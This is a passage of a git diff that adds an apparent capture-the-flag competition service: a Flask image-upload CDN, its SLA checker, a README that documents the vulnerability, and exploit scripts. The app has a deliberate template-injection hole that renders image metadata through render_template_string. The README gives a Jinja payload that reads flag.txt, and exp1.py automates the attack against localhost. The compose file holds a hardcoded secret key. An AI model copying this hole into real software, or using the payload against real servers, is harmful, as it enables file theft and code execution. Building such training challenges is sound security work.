id: {e}") + return False + + # 5) Visit the post page, confirm it renders and contains our title/content. + self.logger.info("[6/7] Visiting the post page ...") + try: + vp = s.get(base_url + f"/post/{post_id}", timeout=10) + assert vp.status_code == 200, f"Post page HTTP {vp.status_code}" + assert title in vp.text, "Post title not present on view page" + assert content in vp.text, "Post content not present on view page" + self.logger.info(" ✓ Post page renders with our content") + except Exception as e: + self.logger.error(f" ✗ View post failed: {e}") + return False + + # 6) Locate the uploaded file link on the post page, then fetch the .meta file via /uploads/.meta + self.logger.info("[7/7] Verifying ExifTool metadata persisted & accessible ...") + try: + # Find something like /uploads/.png (or .jpg/.jpeg/.bmp) + m = re.search(r'/uploads/([A-Za-z0-9_.-]+\.(?:png|jpg|jpeg|bmp))', vp.text, flags=re.IGNORECASE) + assert m, "No uploaded image link found on post page" + image_name = m.group(1) + # The server stores metadata in a sibling file with .meta suffix; it is served by the same /uploads route. + meta_url = base_url + f"/uploads/{image_name}.meta" + mr = s.get(meta_url, timeout=10) + assert mr.status_code == 200, f"Meta file HTTP {mr.status_code}" + meta_text = mr.text.strip() + # Heuristic: expect at least one ExifTool-like marker + assert any(tag in meta_text for tag in self._exif_markers), "Meta file does not look like ExifTool output" + self.logger.info(" ✓ Exif metadata present and readable") + except Exception as e: + self.logger.error(f" ✗ Metadata verification failed: {e}") + return False + + # 7) Flag existence in container (do not fail SLA if only host copy exists but container is missing—treat as warning or policy-driven) + try: + proc = self._docker_exec(["/bin/sh", "-lc", f"test -f {self.container_flag_path} && cat {self.container_flag_path} || echo __MISSING__"]) + out = (proc.stdout or "").strip() + if "__MISSING__" in out or proc.returncode not in (0,): + self.logger.warning("⚠ Flag file missing inside container") + else: + self.logger.info(" ✓ Container flag present") + # Optional: compare with host flag if present + try: + with open(self.flag_location, "r") as f: + host_flag = f.read().strip() + if host_flag and host_flag == out: + self.logger.info(" ✓ Host and container flags match") + else: + self.logger.warning("⚠ Host/container flag mismatch (may be expected if rotated separately)") + except FileNotFoundError: + self.logger.warning("⚠ Host flag not found; skipping comparison") + except Exception as e: + # Non-fatal: you can tune this to fail the round if flag is mandatory. + self.logger.warning(f"Flag existence check encountered an issue: {e}") + + self.logger.info("SLA check passed ✅") + return True diff --git a/services/cdn/README.md b/services/cdn/README.md new file mode 100644 index 0000000..8c38903 --- /dev/null +++ b/services/cdn/README.md @@ -0,0 +1,30 @@ +## CDN + +db used: sqlite +flag.txt: GEMASTIK{random sha256 generated on app start} + +### feature: +[authentication required with login and register, register default as "user" role] +1. upload image + +### Vulns +#### vuln1: SSTI on image Date Created metadata, exiftool cant insert this, need to write the image's blob +example: +```bash +(base) jons@01-20-jonathanmarbun:/mnt/c/1Jonathan/CTFS/gawe/gms25/web2/exploit$ exiftool -overwrite_original -IPTC:DateCreated="{{7*7}}" image.png +Warning: Invalid date format (use YYYY:mm:dd) in IPTC:DateCreated (ValueConvInv) +Nothing to do. +``` +payload to inject: +```{{lipsum.__builtins__['open']('flag.txt').read()}}``` + +when editing the Date Created metadata manually, somehow it has limit of 46 char (but we can expand that to make it more by deleting the content of another metadata) -> check ssti.png +it probably have different behavior on another image file or format +payload: check exploit/exp3.py + +#### vuln2: + +### Patching Rule? +- dont remove flag.txt/changes its content +- ensure image metadata generation still available +- ensure exiftool still used \ No newline at end of file diff --git a/services/cdn/chall/Dockerfile b/services/cdn/chall/Dockerfile new file mode 100644 index 0000000..4266ff0 --- /dev/null +++ b/services/cdn/chall/Dockerfile @@ -0,0 +1,21 @@ +FROM python:3.12-slim + +ENV PYTHONDONTWRITEBYTECODE=1 \ + PYTHONUNBUFFERED=1 \ + PIP_NO_CACHE_DIR=1 + +WORKDIR /app + +RUN apt-get update \ + && apt-get install -y --no-install-recommends libimage-exiftool-perl \ + && rm -rf /var/lib/apt/lists/* + +COPY requirements.txt . +RUN pip install -r requirements.txt + +COPY . /app +RUN chmod +x /app/entrypoint.sh \ + && mkdir -p /app/uploads && chmod 755 /app/uploads + +EXPOSE 8000 +ENTRYPOINT ["/bin/bash", "entrypoint.sh"] diff --git a/services/cdn/chall/app.py b/services/cdn/chall/app.py new file mode 100644 index 0000000..0910c54 --- /dev/null +++ b/services/cdn/chall/app.py @@ -0,0 +1,265 @@ +import os +import re +import sqlite3 +import hashlib +import secrets +import datetime +import subprocess +from pathlib import Path +from flask import * +from werkzeug.security import generate_password_hash, check_password_hash +from werkzeug.utils import secure_filename + +APP_DIR = os.path.dirname(os.path.abspath(__file__)) +DB_PATH = os.path.join(APP_DIR, "data.db") +UPLOAD_DIR = os.path.join(APP_DIR, "uploads") +FLAG_PATH = os.path.join(APP_DIR, "flag.txt") + +ALLOWED_EXT = {"png", "jpg", "jpeg", "bmp"} +MAX_CONTENT_LENGTH = 8 * 1024 * 1024 + +app = Flask(__name__) +app.secret_key = os.environ.get("SECRET_KEY", secrets.token_hex(16)) +app.config["MAX_CONTENT_LENGTH"] = MAX_CONTENT_LENGTH +app.config["UPLOAD_FOLDER"] = UPLOAD_DIR + +def get_db(): + db = getattr(g, "_db", None) + if db is None: + db = g._db = sqlite3.connect(DB_PATH, check_same_thread=False) + db.row_factory = sqlite3.Row + return db + +@app.teardown_appcontext +def close_db(_exc): + db = getattr(g, "_db", None) + if db: + db.close() + +def init_db(): + Path(UPLOAD_DIR).mkdir(parents=True, exist_ok=True) + db = get_db() + db.executescript(""" + CREATE TABLE IF NOT EXISTS users ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + username TEXT UNIQUE NOT NULL, + password_hash TEXT NOT NULL, + role TEXT NOT NULL DEFAULT 'user', + created_at TEXT NOT NULL + ); + + CREATE TABLE IF NOT EXISTS posts ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + user_id INTEGER NOT NULL, + title TEXT NOT NULL, + filename TEXT NOT NULL, + metadata TEXT, + created_at TEXT NOT NULL, + FOREIGN KEY(user_id) REFERENCES users(id) + ); + """) + db.commit() + +def _resolve_flag_file_path(): + p = FLAG_PATH + if os.path.isdir(p): + p = os.path.join(p, "flag.txt") + os.makedirs(os.path.dirname(p), exist_ok=True) + return p + +def generate_flag_at_boot(): + path = _resolve_flag_file_path() + if not os.path.exists(path) or os.environ.get("RESEED_FLAG") == "1": + token = secrets.token_bytes(32) + sha = hashlib.sha256(token).hexdigest() + with open(path, "w", encoding="utf-8") as fh: + fh.write(f"GEMASTIK{{{sha}}}\n") + +def current_user(): + if "uid" not in session: + return None + db = get_db() + cur = db.execute("SELECT id, username, role FROM users WHERE id = ?", (session["uid"],)) + return cur.fetchone() + +def _is_within(child_path: str, parent_dir: str) -> bool: + child_real = os.path.realpath(child_path) + parent_real = os.path.realpath(parent_dir) + try: + return os.path.commonpath([child_real, parent_real]) == parent_real + except ValueError: + return False + +def _exiftool_text(path_on_disk: str) -> str: + if not _is_within(path_on_disk, UPLOAD_DIR): + return "no-metadata" + try: + proc = subprocess.run( + ["exiftool", "--", path_on_disk], + capture_output=True, + text=True, + timeout=5 + ) + if proc.returncode != 0: + return "no-metadata" + return proc.stdout if proc.stdout else "no-metadata" + except subprocess.TimeoutExpired: + return "exif_err: timeout" + except FileNotFoundError: + return "exif_err: exiftool not found" + except Exception as e: + return f"exif_err: {e}" + +def allowed_file(fn: str) -> bool: + if "." not in fn: + return False + ext = fn.rsplit(".", 1)[-1].lower() + return ext in ALLOWED_EXT + +def sha256_hex(data: bytes) -> str: + return hashlib.sha256(data).hexdigest() + +@app.route("/register", methods=["GET", "POST"]) +def register(): + if request.method == "POST": + username = request.form.get("username", "").strip() + password = request.form.get("password", "") + if not username or not password: + flash("Username and password required") + return render_template("register.html") + pw_hash = generate_password_hash(password) + try: + db = get_db() + db.execute( + "INSERT INTO users (username, password_hash, role, created_at) VALUES (?, ?, 'user', ?)", + (username, pw_hash, datetime.datetime.utcnow().isoformat() + "Z"), + ) + db.commit() + except sqlite3.IntegrityError: + flash("Username already exists") + return render_template("register.html") + flash("Registered. Please login.") + return redirect(url_for("login")) + return render_template("register.html") + +@app.route("/login", methods=["GET", "POST"]) +def login(): + if request.method == "POST": + username = request.form.get("username", "").strip() + password = request.form.get("password", "") + db = get_db() + cur = db.execute( + "SELECT id, username, password_hash, role FROM users WHERE username = ?", + (username,), + ) + row = cur.fetchone() + if not row or not check_password_hash(row["password_hash"], password): + flash("Invalid credentials") + return render_template("login.html") + session["uid"] = row["id"] + flash(f"Welcome, {row['username']}!") + return redirect(url_for("gallery")) + return render_template("login.html") + +@app.route("/logout") +def logout(): + session.clear() + flash("Logged out") + return redirect(url_for("login")) + +@app.route("/upload", methods=["GET", "POST"]) +def upload(): + user = current_user() + if not user: + return redirect(url_for("login")) + if request.method == "POST": + title = request.form.get("title", "").strip() or "(untitled)" + f = request.files.get("image") + if not f or f.filename == "": + flash("Choose an image.") + return render_template("upload.html") + orig_name = secure_filename(f.filename) + if not allowed_file(orig_name): + flash("Unsupported file type.") + return render_template("upload.html") + ext = orig_name.rsplit(".", 1)[-1].lower() + data = f.read() + sha = sha256_hex(data) + stored = f"{sha}.{ext}" + path = Path(UPLOAD_DIR) / stored + if not path.exists(): + path.write_bytes(data) + metadata_blob = _exiftool_text(str(path)) + db = get_db() + db.execute( + """ + INSERT INTO posts (user_id, title, filename, metadata, created_at) + VALUES (?, ?, ?, ?, ?) + """, + (user["id"], title, stored, metadata_blob, datetime.datetime.utcnow().isoformat() + "Z"), + ) + db.commit() + flash("Upload complete.") + return redirect(url_for("gallery")) + return render_template("upload.html") + +@app.route("/") +@app.route("/gallery") +def gallery(): + user = current_user() + db = get_db() + cur = db.execute( + """ + SELECT p.id, p.title, p.filename, p.created_at, u.username + FROM posts p JOIN users u ON p.user_id = u.id + ORDER BY p.id DESC + """ + ) + posts = cur.fetchall() + return render_template("gallery.html", posts=posts, user=user) + +@app.route("/post/") +def view_post(pid): + db = get_db() + cur = db.execute( + "SELECT p.*, u.username FROM posts p JOIN users u ON p.user_id = u.id WHERE p.id = ?", + (pid,), + ) + post = cur.fetchone() + if not post: + abort(404) + if request.args.get("meta") == "1": + return Response((post["metadata"] or ""), mimetype="text/plain") + metadata_full = post["metadata"] or "" + md_map = {"File Name": "", "Date Created": ""} + for m in re.finditer(r"^\s*(File Name|Date Created)\s*:\s*(.*)$", metadata_full, flags=re.MULTILINE): + key = m.group(1) + val = m.group(2).strip() + md_map[key] = val + file_name_val = md_map["File Name"] + date_created_val = md_map["Date Created"] + metadata_snippet_html = f"
File Name: {file_name_val}\nDate Created: {date_created_val}
" + tpl_path = os.path.join(APP_DIR, "templates", "view_post.html") + with open(tpl_path, "r", encoding="utf-8") as fh: + tpl_src = fh.read() + placeholder = "{{ metadata_snippet or '' }}" + if placeholder not in tpl_src: + page_src = tpl_src + "\n" + metadata_snippet_html + else: + page_src = tpl_src.replace(placeholder, metadata_snippet_html) + return render_template_string(page_src, post=post) + +@app.route("/i/") +def cdn_serve(filename): + return send_from_directory(UPLOAD_DIR, filename, as_attachment=False) + +@app.errorhandler(413) +def too_large(_): + flash("File too large.") + return redirect(url_for("upload")) + +if __name__ == "__main__": + with app.app_context(): + init_db() + generate_flag_at_boot() + app.run(host="0.0.0.0", port=8000, debug=False) diff --git a/services/cdn/chall/docker-compose.yml b/services/cdn/chall/docker-compose.yml new file mode 100644 index 0000000..a2b546d --- /dev/null +++ b/services/cdn/chall/docker-compose.yml @@ -0,0 +1,12 @@ +version: "3.8" +services: + web: + build: . + ports: + - "4414:8000" + environment: + SECRET_KEY: "c75f1259a4c95bb31563405d488d7bf9c0eaf4d562fd13557624f8e18eb5cfff" + RESEED_FLAG: "1" + volumes: + - ./uploads:/app/uploads + restart: unless-stopped diff --git a/services/cdn/chall/entrypoint.sh b/services/cdn/chall/entrypoint.sh new file mode 100644 index 0000000..8c23a88 --- /dev/null +++ b/services/cdn/chall/entrypoint.sh @@ -0,0 +1,30 @@ +#!/usr/bin/env bash +set -euo pipefail + +mkdir -p /app/uploads +chmod 755 /app/uploads + +python - <<'PY' +import os +import app as m +with m.app.app_context(): + m.init_db() + m.generate_flag_at_boot() +print("DB & flag initialized.") +PY + +FLAG_PATH="${FLAG_PATH:-/app/flag.txt}" + +if [ -d "$FLAG_PATH" ]; then + if [ -f "$FLAG_PATH/flag.txt" ]; then + chown root:root "$FLAG_PATH/flag.txt" || true + chmod 444 "$FLAG_PATH/flag.txt" || true + fi +else + if [ -f "$FLAG_PATH" ]; then + chown root:root "$FLAG_PATH" || true + chmod 444 "$FLAG_PATH" || true + fi +fi + +exec python app.py diff --git a/services/cdn/chall/flag_seed.py b/services/cdn/chall/flag_seed.py new file mode 100644 index 0000000..415815c --- /dev/null +++ b/services/cdn/chall/flag_seed.py @@ -0,0 +1,7 @@ +# Convenience: reseed flag once without starting server +import hashlib, secrets, os +FLAG_PATH = os.path.join(os.path.dirname(__file__), "flag.txt") +sha = hashlib.sha256(secrets.token_bytes(32)).hexdigest() +with open(FLAG_PATH, "w", encoding="utf-8") as fh: + fh.write(f"GEMASTIK{{{sha}}}\n") +print("Flag reseeded:", open(FLAG_PATH).read().strip()) diff --git a/services/cdn/chall/requirements.txt b/services/cdn/chall/requirements.txt new file mode 100644 index 0000000..3c561bc --- /dev/null +++ b/services/cdn/chall/requirements.txt @@ -0,0 +1,4 @@ +Flask==3.0.3 +Werkzeug==3.0.3 +Pillow==10.4.0 +exifread==3.0.0 diff --git a/services/cdn/chall/static/style.css b/services/cdn/chall/static/style.css new file mode 100644 index 0000000..b128133 --- /dev/null +++ b/services/cdn/chall/static/style.css @@ -0,0 +1,20 @@ +:root { --bg: #0b0d10; --fg: #e5e7eb; --muted:#9ca3af; --card:#111317; --accent:#60a5fa; --stroke:#1f2937; } +* { box-sizing: border-box; } +body { margin:0; font: 15px/1.5 system-ui, -apple-system, Segoe UI, Roboto, Arial, sans-serif; background: var(--bg); color: var(--fg); } +a { color: var(--accent); text-decoration: none; } +.topbar { display:flex; justify-content:space-between; align-items:center; padding:12px 16px; border-bottom:1px solid var(--stroke); background:#0e1116; } +.brand { font-weight:700; letter-spacing:.3px; } +.container { max-width: 980px; margin: 24px auto; padding: 0 16px; } +.flash > div { background:#1a2332; border:1px solid #22314a; padding:8px 12px; margin:12px 0; border-radius:8px; } +label { display:block; margin:12px 0 6px; color: var(--muted); } +input, textarea { width:100%; padding:10px 12px; border-radius:8px; border:1px solid var(--stroke); background:#0f1217; color:var(--fg); } +button { margin-top:12px; padding:10px 16px; border-radius:8px; border:1px solid #2b3344; background:#1b2333; color:#dbeafe; cursor:pointer; } +.grid { display:grid; grid-template-columns: repeat(auto-fill, minmax(220px,1fr)); gap:16px; } +.card { display:block; border:1px solid var(--stroke); border-radius:12px; overflow:hidden; background: var(--card); } +.card img { width:100%; height:160px; object-fit:cover; display:block; } +.card .meta { padding:10px 12px; } +.card .title { font-weight:600; } +.card .sub { color: var(--muted); font-size: 12px; margin-top:4px; } +.post .full { width:100%; max-height:65vh; object-fit:contain; border:1px solid var(--stroke); border-radius:12px; } +details.desc { margin-top:12px; } +.foot { border-top:1px solid var(--stroke); color:var(--muted); padding:16px; text-align:center; margin-top:40px; } diff --git a/services/cdn/chall/templates/base.html b/services/cdn/chall/templates/base.html new file mode 100644 index 0000000..16bb6e6 --- /dev/null +++ b/services/cdn/chall/templates/base.html @@ -0,0 +1,36 @@ + + + + + pix.cdn — demo + + + +
+ pix.cdn + +
+ + {% with msgs = get_flashed_messages() %} + {% if msgs %} +
+ {% for m in msgs %}
{{ m }}
{% endfor %} +
+ {% endif %} + {% endwith %} + +
+ {% block content %}{% endblock %} +
+ +
© pix.cdn
+ + diff --git a/services/cdn/chall/templates/gallery.html b/services/cdn/chall/templates/gallery.html new file mode 100644 index 0000000..dbafc61 --- /dev/null +++ b/services/cdn/chall/templates/gallery.html @@ -0,0 +1,20 @@ +{% extends "base.html" %} +{% block content %} +

Gallery

+ +{% if not posts %} +

No posts yet. Upload one.

+{% endif %} + + +{% endblock %} diff --git a/services/cdn/chall/templates/login.html b/services/cdn/chall/templates/login.html new file mode 100644 index 0000000..351cfc0 --- /dev/null +++ b/services/cdn/chall/templates/login.html @@ -0,0 +1,11 @@ +{% extends "base.html" %} +{% block content %} +

Login

+
+ + + + + +
+{% endblock %} diff --git a/services/cdn/chall/templates/register.html b/services/cdn/chall/templates/register.html new file mode 100644 index 0000000..de15dfb --- /dev/null +++ b/services/cdn/chall/templates/register.html @@ -0,0 +1,12 @@ +{% extends "base.html" %} +{% block content %} +

Register

+
+ + + + + +
+

New users default to role user.

+{% endblock %} diff --git a/services/cdn/chall/templates/upload.html b/services/cdn/chall/templates/upload.html new file mode 100644 index 0000000..cf7c577 --- /dev/null +++ b/services/cdn/chall/templates/upload.html @@ -0,0 +1,13 @@ +{% extends "base.html" %} +{% block content %} +

Upload image

+
+ + + + + + + +
+{% endblock %} diff --git a/services/cdn/chall/templates/view_post.html b/services/cdn/chall/templates/view_post.html new file mode 100644 index 0000000..97088c1 --- /dev/null +++ b/services/cdn/chall/templates/view_post.html @@ -0,0 +1,14 @@ +{% extends "base.html" %} +{% block content %} +
+

{{ post.title }}

+ + +
+ Delivery details +

Static CDN reference: /i/{{ post.filename }}

+

Uploaded at: {{ post.created_at }}

+
+ +
+{% endblock %} diff --git a/services/cdn/chall/uploads/2c3f796bc1405f8ec42784088d7324dc1409f745ee41b7acf745ff2a9c1b55dc.png b/services/cdn/chall/uploads/2c3f796bc1405f8ec42784088d7324dc1409f745ee41b7acf745ff2a9c1b55dc.png new file mode 100644 index 0000000..13277a3 Binary files /dev/null and b/services/cdn/chall/uploads/2c3f796bc1405f8ec42784088d7324dc1409f745ee41b7acf745ff2a9c1b55dc.png differ diff --git a/services/cdn/chall/uploads/46ce52a0780252a01e1480d2cbf04248d4f01ff3821b7eb0737108fe99c07f18.png b/services/cdn/chall/uploads/46ce52a0780252a01e1480d2cbf04248d4f01ff3821b7eb0737108fe99c07f18.png new file mode 100644 index 0000000..350e556 Binary files /dev/null and b/services/cdn/chall/uploads/46ce52a0780252a01e1480d2cbf04248d4f01ff3821b7eb0737108fe99c07f18.png differ diff --git a/services/cdn/chall/uploads/6168295d811e738862fad5c0e7aa7306f7364034b5cc77c17a017aff63164b04.png b/services/cdn/chall/uploads/6168295d811e738862fad5c0e7aa7306f7364034b5cc77c17a017aff63164b04.png new file mode 100644 index 0000000..c41aa35 Binary files /dev/null and b/services/cdn/chall/uploads/6168295d811e738862fad5c0e7aa7306f7364034b5cc77c17a017aff63164b04.png differ diff --git a/services/cdn/chall/uploads/c5f9a4af5fcba824a8cdf505107d2c7aed459195c20c9859e132ce5e36ec298b.jpg b/services/cdn/chall/uploads/c5f9a4af5fcba824a8cdf505107d2c7aed459195c20c9859e132ce5e36ec298b.jpg new file mode 100644 index 0000000..6efa28f Binary files /dev/null and b/services/cdn/chall/uploads/c5f9a4af5fcba824a8cdf505107d2c7aed459195c20c9859e132ce5e36ec298b.jpg differ diff --git a/services/cdn/chall/uploads/c5f9a4af5fcba824a8cdf505107d2c7aed459195c20c9859e132ce5e36ec298b.png b/services/cdn/chall/uploads/c5f9a4af5fcba824a8cdf505107d2c7aed459195c20c9859e132ce5e36ec298b.png new file mode 100644 index 0000000..6efa28f Binary files /dev/null and b/services/cdn/chall/uploads/c5f9a4af5fcba824a8cdf505107d2c7aed459195c20c9859e132ce5e36ec298b.png differ diff --git a/services/cdn/chall/uploads/c7339bc5e7968ef9d2d7e72b235e72995ee3363da422a1fe67bf7a195a32ebb0.png b/services/cdn/chall/uploads/c7339bc5e7968ef9d2d7e72b235e72995ee3363da422a1fe67bf7a195a32ebb0.png new file mode 100644 index 0000000..0f72478 Binary files /dev/null and b/services/cdn/chall/uploads/c7339bc5e7968ef9d2d7e72b235e72995ee3363da422a1fe67bf7a195a32ebb0.png differ diff --git a/services/cdn/dist/dist.rar b/services/cdn/dist/dist.rar new file mode 100644 index 0000000..749be0a Binary files /dev/null and b/services/cdn/dist/dist.rar differ diff --git a/services/cdn/exploit/exp1.py b/services/cdn/exploit/exp1.py new file mode 100644 index 0000000..f7e9b6f --- /dev/null +++ b/services/cdn/exploit/exp1.py @@ -0,0 +1,91 @@ +import os +import re +import random +import string +from pathlib import Path +import requests + +print("SSTI (Vuln) Exploit — fixed HOST env, redirects, timeouts") + +HOST = "http://localhost:4414" +REGISTER_URL = f"{HOST}/register" +LOGIN_URL = f"{HOST}/login" +UPLOAD_URL = f"{HOST}/upload" +HOME_URL = f"{HOST}/" + +TIMEOUT = float(os.environ.get("TIMEOUT", "1")) # detik + +def rnd(n=8): + alpha = string.ascii_lowercase + string.digits + return ''.join(random.choices(alpha, k=n)) + +USERNAME = rnd() +PASSWORD = rnd() +LOCAL_IMAGE = os.environ.get("IMG", "ssti.png") # PNG dengan payload Jinja di metadata + +s = requests.Session() +s.headers.update({"User-Agent": "ssti-exp/1.0"}) + +def ok_or_redirect(resp): + return 200 <= resp.status_code < 400 + +# 1) Register (allow redirects) +r = s.post(REGISTER_URL, data={"username": USERNAME, "password": PASSWORD}, + allow_redirects=True, timeout=TIMEOUT) +print(f"[i] Register -> {r.status_code} | redirected={bool(r.history)}") +if not ok_or_redirect(r): + print("[x] Registration failed") + raise SystemExit(1) +print(f"[+] Registered: {USERNAME}:{PASSWORD}") + +# 2) Login (allow redirects) +r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD}, + allow_redirects=True, timeout=TIMEOUT) +print(f"[i] Login -> {r.status_code} | redirected={bool(r.history)}") +if not ok_or_redirect(r): + print("[x] Login failed") + raise SystemExit(1) +print("[+] Logged in") + +# 3) Upload image (title + image) +img_path = Path(LOCAL_IMAGE) +if not img_path.exists(): + raise SystemExit(f"[x] Local image not found: {LOCAL_IMAGE}") + +with img_path.open("rb") as fh: + files = {"image": (img_path.name, fh, "image/png")} + data = {"title": "SSTI Exploit"} + r = s.post(UPLOAD_URL, data=data, files=files, + allow_redirects=True, timeout=TIMEOUT) + print(f"[i] Upload -> {r.status_code} | redirected={bool(r.history)}") + if not ok_or_redirect(r): + print("[x] Upload failed") + raise SystemExit(1) +print("[+] Upload complete") + +# 4) Home → cari post id terbaru +r = s.get(HOME_URL, timeout=TIMEOUT) +print(f"[i] Home -> {r.status_code}") +if r.status_code != 200: + print("[x] Failed to load home") + raise SystemExit(1) + +post_ids = re.findall(r'/post/(\d+)', r.text) +if not post_ids: + print("[-] No posts found on home.") + # print(r.text[:800]) + raise SystemExit(1) + +pid = max(map(int, post_ids)) +post_url = f"{HOST}/post/{pid}" +print(f"[+] Newest post: {post_url}") + +# 5) Trigger SSTI dan cari flag +r = s.get(post_url, timeout=TIMEOUT) +print(f"[i] Post -> {r.status_code}") +m = re.search(r"GEMASTIK\{[^}]*\}", r.text) +if m: + print("[+] Flag:", m.group(0)) +else: + print("[-] Flag not found in response.") + print(r.text[:1200]) diff --git a/services/cdn/exploit/ssti.png b/services/cdn/exploit/ssti.png new file mode 100644 index 0000000..13277a3 Binary files /dev/null and b/services/cdn/exploit/ssti.png differ diff --git a/services/cdn/exploit/ssti2.png b/services/cdn/exploit/ssti2.png new file mode 100644 index 0000000..13277a3 Binary files /dev/null and b/services/cdn/exploit/ssti2.png differ